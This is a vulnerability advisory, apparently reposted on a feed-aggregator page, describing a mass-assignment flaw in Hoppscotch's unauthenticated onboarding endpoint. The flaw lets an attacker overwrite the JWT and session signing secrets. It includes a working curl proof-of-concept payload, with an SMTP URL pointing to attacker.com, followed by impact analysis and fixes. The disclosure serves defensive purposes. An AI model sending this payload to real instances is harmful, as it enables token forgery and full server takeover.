惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Apple Machine Learning Research
Apple Machine Learning Research
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
G
Google Developers Blog
博客园 - 司徒正美
J
Java Code Geeks
aimingoo的专栏
aimingoo的专栏
A
About on SuperTechFans
博客园 - 三生石上(FineUI控件)
WordPress大学
WordPress大学
T
The Blog of Author Tim Ferriss
D
Docker
大猫的无限游戏
大猫的无限游戏
D
DataBreaches.Net
腾讯CDC
V
Visual Studio Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
C
Check Point Blog
M
MIT News - Artificial intelligence
Jina AI
Jina AI
I
InfoQ
雷峰网
雷峰网
The Cloudflare Blog
美团技术团队
Engineering at Meta
Engineering at Meta

Hacker News - Newest: "AI"

AI can't read an investor deck AI as an attorney? Student uses ChatGPT, Gemini to sue UW over alleged racial discrimination Hacking MCP Servers in AI Systems – The Rug Pull: Tool Changes After Approval GitHub - MeepCastana/KubeezCut: Free Web based video editor Can AI judge journalism? A Thiel-backed startup says yes, even if it risks chilling whistleblowers Coming soon: 10 Things That Matter in AI Right Now DARPA built an AI to fact-check enemy weapons claims What explains heterogeneity in AI adoption? When AI Meets Muscle: Context-Aware Electrical Stimulation Promises a New Way to Guide Human Movements - Department of Computer Science AI Changed How We Build. It Did Not Change What Matters. Linux rules on using AI-generated code - Copilot is OK, but humans must take 'full responsibility for the… Meta spins up AI version of Mark Zuckerberg to engage with employees Code Mode: Let Your AI Write Programs, Not Just Call Tools | TanStack Blog GitHub - Delavalom/graft: Go framework for building AI agents. Type-safe tools, multi-provider (OpenAI, Anthropic, Gemini, Bedrock), zero vendor SDKs. India's TCS tops estimates, says new AI models did not dent services demand Gen Z's fading AI hype Strong feeling: we are in a folded AI reality GitHub - machinarii/total-recall-catalog: A reference catalog of latest knowledge retrieval, memory & RAG systems GitHub - mensfeld/code-on-incus: Give each AI agent its own isolated machine with root, Docker, and systemd. Active defense detects and stops threats automatically.. Quantization, LoRA, and the 8% Problem: Benchmarking Local LLMs for Production AI Iran war: We spoke to the man making Lego-style AI videos that experts say are powerful propaganda Powell, Bessent discussed Anthropic's Mythos AI cyber threat with major U.S. banks GitHub - immartian/bellamem: Persistent belief-graph memory for AI agents. Retrieves decisive context by importance — not recency, not RAG, not /compact. recursive-mode: The Repo-Native Operating System for AI Engineering After the attack on Sam Altman's home, will AI CEO's go on the offensive? The biggest advance in AI since the LLM Opus 4.6 vs GPT 5.4 One Prompt Unity World Generation Test “AI polls” are fake polls Client Challenge Can AI be a 'child of God'? Inside Anthropic's meeting with Christian leaders
Mass Assignment via Onboarding Endpoint Allows Unauthenti...
infy · 2026-06-24 · via Hacker News - Newest: "AI"

Summary

The POST /v1/onboarding/config endpoint allows an unauthenticated attacker to inject arbitrary InfraConfig keys -- including JWT_SECRET and SESSION_SECRET -- into the database via mass assignment. These keys are not declared in the SaveOnboardingConfigRequest DTO, but because the NestJS ValidationPipe does not strip extra properties, they pass through to the service layer where Object.entries(dto) iterates all keys without restriction.

This results in full server compromise: the attacker controls the JWT signing key and can forge tokens for any user including admin.

The attack works only on fresh installs before onboarding completes (or when usersCount === 0). However, self-hosted Hoppscotch instances are exposed to the internet during initial setup, and the window between deployment and onboarding completion is the exact moment the instance is most vulnerable.

Confirmed with a live proof-of-concept on a fresh Hoppscotch AIO Docker deployment.

Affected Components

  • packages/hoppscotch-backend/src/main.ts (lines 93--97) -- ValidationPipe configuration
  • packages/hoppscotch-backend/src/infra-config/infra-config.service.ts (lines 538--553) -- unconstrained key iteration
  • packages/hoppscotch-backend/src/infra-config/infra-config.service.ts (line 806) -- validateEnvValues switch with default: break
  • packages/hoppscotch-backend/src/infra-config/onboarding.controller.ts (line 58) -- unauthenticated endpoint
  • packages/hoppscotch-backend/src/types/InfraConfig.ts (lines 5--6) -- JWT_SECRET and SESSION_SECRET as valid InfraConfigEnum values

Root Cause

Four independent weaknesses combine to enable this attack:

Weakness 1 -- ValidationPipe missing whitelist: true (main.ts:93--97)

app.useGlobalPipes(
  new ValidationPipe({
    transform: true,
    // whitelist: true    -- MISSING: extra properties are NOT stripped
  }),
);

Without whitelist: true, NestJS copies all properties from the request body to the DTO object, including properties not declared in the SaveOnboardingConfigRequest class. JWT_SECRET, SESSION_SECRET, and other security-critical keys are not DTO fields -- they are extra properties that should be stripped but are not.

Weakness 1 alone is sufficient to block this attack. Weaknesses 2--4 should also be addressed as defense in depth.

Weakness 2 -- Unconstrained Object.entries(dto) (infra-config.service.ts:538--543)

const configEntries: InfraConfigArgs[] = [
  ...Object.entries(dto)
    .filter(([_, value]) => value !== undefined)
    .map(([key, value]) => ({
      name: key as InfraConfigEnum,    // TypeScript cast, no runtime validation
      value,
    })),
];

The cast key as InfraConfigEnum performs no runtime check. Object.entries(dto) iterates every property on the DTO object, including the extra properties that leaked through from Weakness 1. Since JWT_SECRET is a valid InfraConfigEnum value (defined in types/InfraConfig.ts:5), the attacker-supplied key is treated as a legitimate config entry and written to the database.

Weakness 3 -- validateEnvValues has default: break (infra-config.service.ts:806)

The validateEnvValues method uses a switch statement over InfraConfigEnum values to validate incoming config entries. The default case is:

default:
  break;    // unrecognized keys silently pass validation

JWT_SECRET and SESSION_SECRET do not have explicit validation cases in this switch. They fall through to default: break and pass validation silently, allowing the database write to proceed.

Weakness 4 -- Endpoint publicly accessible without authentication

@Controller({ path: 'onboarding', version: '1' })
@UseGuards(ThrottlerBehindProxyGuard)      // rate-limit only, no auth
export class OnboardingController { ... }

The endpoint has no auth guard. It is accessible to any unauthenticated request as long as onboarding has not been completed (checked at runtime, gated on usersCount === 0).

Key Clarification

JWT_SECRET, SESSION_SECRET, and other security-critical keys are NOT fields in the SaveOnboardingConfigRequest DTO. The DTO declares only the expected onboarding fields (OAuth providers, SMTP settings, etc.). The exploit works because extra keys not in the DTO are not stripped (Weakness 1), are iterated without restriction (Weakness 2), pass validation silently (Weakness 3), and reach an unauthenticated endpoint (Weakness 4).

Preconditions

The attack works when any of these conditions is true:

  • Fresh install: onboarding has not been completed yet
  • usersCount === 0 (no users exist in the database)

Self-hosted Hoppscotch instances are typically exposed to the internet during initial setup. The window between deployment and onboarding completion is the exact period when the instance is most vulnerable -- and the onboarding endpoint is the first thing an attacker would probe on a newly discovered Hoppscotch instance.

Proof of Concept

Step 1 -- Check onboarding status (unauthenticated):

curl http://target:3170/v1/onboarding/status
# {"onboardingCompleted":false,"canReRunOnboarding":true}

Step 2 -- Send the mass assignment payload with extra keys not in the DTO:

curl -X POST http://target:3170/v1/onboarding/config \
  -H "Content-Type: application/json" \
  -d '{
    "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL",
    "MAILER_SMTP_ENABLE": "true",
    "MAILER_SMTP_URL": "smtp://attacker.com:25",
    "MAILER_ADDRESS_FROM": "attacker@evil.com",
    "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET",
    "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION"
  }'
# {"token":"5d63f43c-aeda-473f-bb84-abfdd739a8a5"}   -- SUCCESS

Note: VITE_ALLOWED_AUTH_PROVIDERS, MAILER_SMTP_ENABLE, MAILER_SMTP_URL, and MAILER_ADDRESS_FROM are legitimate DTO fields needed to pass the provider validation check. JWT_SECRET and SESSION_SECRET are not DTO fields -- they are injected extra properties.

Step 3 -- Verify JWT_SECRET was overwritten:

psql -c "SELECT name, value FROM InfraConfig WHERE name = 'JWT_SECRET';"
# Decrypts to: ATTACKER_CONTROLLED_JWT_SECRET

Tested on: Hoppscotch AIO Docker image (hoppscotch-hoppscotch-aio:latest), fresh deployment.

Before attack -- JWT_SECRET in DB (AES-256-CBC encrypted):

5c3ddd04363604faeb24a09a...:acf5090650be46309af5633d...

After attack -- JWT_SECRET in DB (decrypted):

ATTACKER_CONTROLLED_JWT_SECRET

After attack -- SESSION_SECRET in DB (decrypted):

ATTACKER_CONTROLLED_SESSION

Impact

Full server compromise via JWT signing key takeover.

Once the attacker controls JWT_SECRET:

  1. Forge arbitrary JWT tokens -- sign JWTs for any user UID including admin accounts without knowing any credentials
  2. Impersonate any user -- forged tokens pass all JwtAuthGuard checks since they validate against the attacker-controlled secret
  3. Persist admin access -- even after the legitimate admin resets credentials, the attacker retains signing key control until the deployment is fully torn down
  4. Exfiltrate all user data -- authenticated GraphQL queries retrieve all workspaces, collections, API keys, and team data
  5. Session hijacking -- overwriting SESSION_SECRET invalidates all existing sessions and allows the attacker to forge new ones

Additional keys injectable via the same vector (all are NOT in the DTO but are valid InfraConfigEnum values):

Key Impact
JWT_SECRET JWT signing key (demonstrated)
SESSION_SECRET Session signing key (demonstrated)
SESSION_COOKIE_NAME Redirect cookies to attacker-controlled name
RATE_LIMIT_TTL / RATE_LIMIT_MAX Disable rate limiting
ALLOW_SECURE_COOKIES Downgrade cookie security
TOKEN_SALT_COMPLEXITY Weaken password hashing
GOOGLE_CLIENT_SECRET Overwrite Google OAuth app secret
GITHUB_CLIENT_SECRET Overwrite GitHub OAuth app secret
MICROSOFT_CLIENT_SECRET Overwrite Microsoft OAuth app secret

CVSS 3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score: 10.0 (Critical)

Metric Value Rationale
Attack Vector Network Publicly accessible endpoint
Attack Complexity Low Single HTTP request, no special conditions beyond fresh install
Privileges Required None No authentication required
User Interaction None Fully attacker-driven
Scope Changed Affects signing infrastructure across the entire application
Confidentiality High All data accessible via forged tokens
Integrity High Full write access to all user resources
Availability None Session disruption does not materially impact service availability

Suggested Fix

Four independent fixes are needed. Fix 1 alone blocks this specific attack. Fixes 2--4 provide defense in depth.

Fix 1 -- Enable whitelist: true on ValidationPipe (main.ts):

app.useGlobalPipes(
  new ValidationPipe({
    transform: true,
    whitelist: true,              // Strip properties not declared in DTO
    forbidNonWhitelisted: true,   // Return 400 for extra properties
  }),
);

Fix 2 -- Validate allowed keys in updateOnboardingConfig (infra-config.service.ts):

const ONBOARDING_ALLOWED_KEYS = new Set([
  InfraConfigEnum.VITE_ALLOWED_AUTH_PROVIDERS,
  InfraConfigEnum.GOOGLE_CLIENT_ID,
  InfraConfigEnum.GOOGLE_CLIENT_SECRET,
  // ... OAuth and SMTP fields only -- never JWT_SECRET, SESSION_SECRET, etc.
]);
 
const configEntries = Object.entries(dto)
  .filter(([key, value]) => value !== undefined && ONBOARDING_ALLOWED_KEYS.has(key as InfraConfigEnum))
  .map(([key, value]) => ({ name: key as InfraConfigEnum, value }));

Fix 3 -- Add explicit rejection in validateEnvValues for security-critical keys:

// Instead of default: break, explicitly reject keys that should never be set via onboarding
case InfraConfigEnum.JWT_SECRET:
case InfraConfigEnum.SESSION_SECRET:
  throw new Error(`${key} cannot be set via the onboarding endpoint`);

Fix 4 -- Require authentication or a one-time setup token on the onboarding endpoint:

Protect the endpoint with a one-time setup token generated at first boot, similar to patterns used by GitLab, Grafana, and other self-hosted tools.

References

Credit

Kira by Offgrid Security